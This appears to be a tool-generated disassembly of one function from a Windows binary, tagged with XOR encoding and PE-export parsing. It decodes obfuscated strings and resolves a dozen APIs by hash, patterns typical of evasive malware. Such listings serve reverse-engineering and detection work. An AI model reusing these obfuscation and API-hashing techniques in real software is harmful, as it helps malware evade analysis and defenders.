Function at 0x40b110
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x44e834]
mov dword [esp + 0x10], 0x2b832db7
mov dword [esp + 0x14], 0x17be29ba
mov dword [esp + 0x18], 0x138e1588
mov dword [esp + 0x1c], 0x1fcc1180
mov dword [esp + 0x20], 0x1b8e1db0
mov dword [esp + 0x24], 0x706198c
mov dword [esp + 0x28], 0
mov dword [esp + 0x2b], 0
mov ecx, 0x2e0df95a
mov edx, 0xa5
nop
nop
movzx esi, byte [esp + ecx - 0x2e0df94a]
mov edi, edx
xor edi, ecx
and edi, esi
xor edi, ecx
mov dword [esp + 0x114], edi
mov esi, dword [esp + 0x114]
mov edi, esi
and edi, 9
xor esi, 0x89
lea ebx, [esi + edi*2]
inc bl
mov byte [esp + ecx - 0x2e0df94a], bl
inc ecx
dec edx
cmp ecx, 0x2e0df979
jne 0x40b170
lea edi, [esp + 0x10]
push 0x800
push 0
push edi
call eax
mov ecx, 0x44e7fc
push eax
call fcn.0043fbc0
xor ebx, ebx
test al, al
je 0x40b98d
push 0xd16c9e6b
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e804], eax
push 0x2b39326b
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e808], eax
push 0x20eddf4
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e80c], eax
push 0x6f420210
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e810], eax
push 0xbb4ac2a9
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e814], eax
push 0xe03c21ff
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e818], eax
push 0xb35fc6e6
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e81c], eax
push 0xe3a9b6db
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e820], eax
push 0xe81e9fc0
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e824], eax
push 0x70f53c13
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e828], eax
push 0xb54b293a
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e82c], eax
push 0x9b73555b
push dword [0x44e7fc]
call fcn.004420c0
add esp, 8
mov dword [0x44e830], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [esp + 0x114]
push eax
push dword [ebx + 0x4465ec]
call fcn.0043b140
add esp, 8
lea esi, [esp + 0x113]
nop
nop
nop
cmp byte [esi + 1], 0
lea esi, [esi + 1]
jne 0x40b320
mov dword [esp + 4], 0
mov eax, edi
lea ecx, [esp + 0x114]
cmp ecx, esi
jae 0x40b39d
mov dword [esp], ebx
xor ebx, ebx
lea edi, [esp + 0x114]
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x40b390
lea eax, [esp + 4]
push eax
push esi
push edi
call fcn.0040ddb0
add esp, 0xc
movzx edx, word [esp + 4]
lea ecx, [ebx + 2]
mov word [esp + ebx + 0x10], dx
cmp ebx, 0xfb
ja 0x40b381
add edi, eax
mov ebx, ecx
cmp edi, esi
jb 0x40b350
lea eax, [esp + ecx]
add eax, 0x10
jmp 0x40b396
lea eax, [esp + ebx]
add eax, 0x10
mov ebx, dword [esp]
lea edi, [esp + 0x10]
mov word [eax], 0
push edi
call fcn.0040b9b0
add esp, 4
test al, al
jne 0x40b664
add ebx, 4
cmp ebx, 0x24
jne 0x40b300
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x4bd045ee
mov dword [esp + 0x14], 0x4fd849de
mov dword [esp + 0x18], 0xb3124ddb
mov dword [esp + 0x1c], 0xb7e1b1e3
mov dword [esp + 0x20], 0xbb20b523
mov dword [esp + 0x24], 0xbf1fb911
mov dword [esp + 0x28], 0xa319bd2d
mov dword [esp + 0x2c], 0xa733a133
mov dword [esp + 0x30], 0xab3fa535
mov dword [esp + 0x34], 0xaf07a938
mov dword [esp + 0x38], 0x9333ad3a
mov dword [esp + 0x3c], 0x973591c0
mov dword [esp + 0x40], 0x9b079507
mov dword [esp + 0x44], 0x9f0899cb
mov dword [esp + 0x48], 0x830d9d08
mov dword [esp + 0x4c], 0x872f8128
mov dword [esp + 0x50], 0x8b2f852a
mov dword [esp + 0x54], 0x8fd9891f
mov dword [esp + 0x58], 0xf3d68dd7
mov dword [esp + 0x5c], 0xf7aaf1a9
mov dword [esp + 0x60], 0xfba3f5a1
mov dword [esp + 0x64], 0xffa7f9a5
mov dword [esp + 0x68], 0xe3aafda7
mov dword [esp + 0x6c], 0xe7b5e1b6
mov dword [esp + 0x70], 0xebb3e5b3
mov dword [esp + 0x74], 0xefb8e9b5
mov dword [esp + 0x78], 0xd3ecedbe
mov dword [esp + 0x80], 0
mov dword [esp + 0x7c], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 0xea
mov edx, ecx
xor edx, 0x1e287f5
add edx, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0x7c1d3b03
or esi, 0x83e0c4fc
add esi, edx
inc esi
mov ebx, esi
not ebx
and ebx, edi
xor esi, edi
add esi, edi
sub esi, ebx
movzx edi, byte [esp + ecx + 0x10]
xor esi, edx
xor esi, 0xfc
and esi, edi
xor esi, edx
mov dword [esp + 0x114], esi
mov edx, dword [esp + 0x114]
add dl, 0x4d
mov byte [esp + ecx + 0x10], dl
inc ecx
add eax, 2
cmp ecx, 0x74
jne 0x40b4d0
lea eax, [esp + 0xc]
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push eax
push ecx
mov edi, edx
push edx
call fcn.0040c1a0
add esp, 0xc
xor ebx, ebx
test al, al
je 0x40b98d
mov dword [esp + 0x10], 0x98686c8a
mov dword [esp + 0x14], 0x6399dd64
mov dword [esp + 0x18], 0xbc65649d
mov dword [esp + 0x1c], 0x639196d0
mov dword [esp + 0x20], 0x8a748a61
mov dword [esp + 0x24], 0x7a7e8a7a
mov dword [esp + 0x28], 0x82837f7f
mov dword [esp + 0x2c], 0x807b867c
mov word [esp + 0x30], 0x57c4
mov byte [esp + 0x32], 0x18
mov dword [esp + 0x33], 0
mov word [esp + 0x37], 0
movzx ecx, byte [esp + ebx + 0x10]
lea eax, [ebx + 0xf3c325f]
mov esi, 0xa0
sub esi, ebx
lea edx, [ebx*2 + 0x1e7864be]
not edx
add edx, ebx
add edx, 0xf3c325f
or edx, esi
mov esi, 0xf0c3cda0
sub esi, ebx
or esi, ecx
and edx, ecx
not ecx
and ecx, eax
lea eax, [esi + esi]
not eax
add eax, esi
mov esi, ecx
not esi
and esi, eax
xor ecx, eax
add ecx, eax
sub ecx, esi
or edx, ecx
mov dword [esp + 0x114], edx
mov eax, dword [esp + 0x114]
add al, 0x67
mov byte [esp + ebx + 0x10], al
mov eax, ebx
and eax, 1
xor ebx, 1
lea ebx, [ebx + eax*2]
cmp ebx, 0x29
jb 0x40b5b0
mov eax, dword [esp + 8]
movzx edx, byte [esp + 0x10]
test dl, dl
je 0x40b6b4
mov ebx, edi
mov ecx, edi
mov edi, eax
jmp 0x40b647
movzx edx, byte [ecx]
test dl, dl
je 0x40b6b6
mov dh, byte [eax]
test dh, dh
je 0x40b97f
inc eax
inc ecx
lea esi, [edi + 1]
cmp dh, dl
je 0x40b65c
mov edi, esi
je 0x40b640
mov ecx, ebx
mov eax, esi
jmp 0x40b640
movzx eax, word [esp + 0x10]
test ax, ax
je 0x40b6a4
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x44e836], ax
movzx eax, word [esp + ecx + 0x10]
add ecx, 2
test ax, ax
jne 0x40b680
mov word [ecx + 0x44e836], 0
mov bl, 1
jmp 0x40b98d
mov word [0x44e838], 0
mov bl, 1
jmp 0x40b98d
mov edi, eax
test edi, edi
je 0x40b97f
mov dword [esp + 0x10], 0xf3f14e3c
mov dword [esp + 0x14], 0x67380b05
mov byte [esp + 0x18], 0
mov dword [esp + 0x114], 0x168349cc
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x10], al
movzx eax, byte [esp + 0x11]
xor eax, 0x168349f1
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x11], al
movzx eax, byte [esp + 0x12]
xor eax, 0x168349f2
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x12], al
movzx eax, byte [esp + 0x13]
xor eax, 0x168349f3
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x13], al
movzx eax, byte [esp + 0x14]
xor eax, 0x168349f4
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x14], al
movzx eax, byte [esp + 0x15]
xor eax, 0x168349f5
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x15], al
movzx eax, byte [esp + 0x16]
xor eax, 0x168349f6
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x16], al
movzx eax, byte [esp + 0x17]
xor eax, 0x168349f7
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x17], al
movzx eax, byte [esp + 0x18]
xor eax, 0x168349f8
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0x70
mov byte [esp + 0x18], al
movzx ebx, byte [esp + 0x10]
test bl, bl
mov dword [esp], edi
je 0x40b827
lea ecx, [esp + 0x10]
mov esi, edi
mov edx, ecx
mov eax, edi
jmp 0x40b80a
movzx ebx, byte [edx]
test bl, bl
mov edi, dword [esp]
je 0x40b82b
mov bh, byte [esi]
test bh, bh
je 0x40b97f
inc esi
inc edx
lea edi, [eax + 1]
cmp bh, bl
je 0x40b81f
mov eax, edi
je 0x40b800
mov edx, ecx
mov esi, edi
jmp 0x40b800
mov eax, edi
jmp 0x40b833
test eax, eax
je 0x40b97f
mov byte [eax], 0
mov ebx, 0xffffffff
nop
nop
nop
nop
nop
cmp byte [edi + ebx + 0x23], 0
lea ebx, [ebx + 1]
jne 0x40b840
test ebx, ebx
je 0x40b8aa
xor edi, edi
mov esi, 0x4ec4ec4f
jmp 0x40b86c
mov byte [esp + edi + 0x114], cl
inc edi
cmp ebx, edi
je 0x40b8aa
mov eax, dword [esp]
movzx ecx, byte [eax + edi + 0x22]
mov eax, ecx
add al, 0x9f
cmp al, 0x19
ja 0x40b860
movzx eax, cl
add eax, 0xffffff94
mov ecx, eax
and ecx, 0x1a
xor eax, 0x1a
lea ecx, [eax + ecx*2]
mov eax, ecx
imul esi
mov eax, edx
shr eax, 0x1f
shr edx, 3
add edx, eax
lea eax, [edx + edx*4]
lea eax, [eax + eax*4]
add eax, edx
sub ecx, eax
add cl, 0x61
jmp 0x40b860
mov byte [esp + ebx + 0x114], 0
lea ebx, [esp + 0x113]
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x40b8c0
mov dword [esp + 4], 0
lea ecx, [esp + 0x10]
lea esi, [esp + 0x114]
mov eax, ecx
cmp esi, ebx
jae 0x40b930
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x40b926
lea eax, [esp + 4]
push eax
push ebx
push esi
call fcn.0040ddb0
add esp, 0xc
movzx edx, word [esp + 4]
lea ecx, [edi + 2]
mov word [esp + edi + 0x10], dx
cmp edi, 0x7b
ja 0x40b91e
add esi, eax
mov edi, ecx
cmp esi, ebx
jb 0x40b8f0
lea eax, [esp + ecx]
add eax, 0x10
jmp 0x40b92c
lea eax, [esp + edi]
add eax, 0x10
lea ecx, [esp + 0x10]
mov word [eax], 0
push ecx
call fcn.0040b9b0
add esp, 4
test al, al
je 0x40b97f
movzx eax, word [esp + 0x10]
test ax, ax
je 0x40b997
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x44e836], ax
movzx eax, word [esp + ecx + 0x10]
add ecx, 2
test ax, ax
jne 0x40b960
mov word [ecx + 0x44e836], 0
jmp 0x40b9a0
xor ebx, ebx
push dword [esp + 8]
call fcn.0043e740
add esp, 4
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov word [0x44e838], 0
mov bl, 1
jmp 0x40b981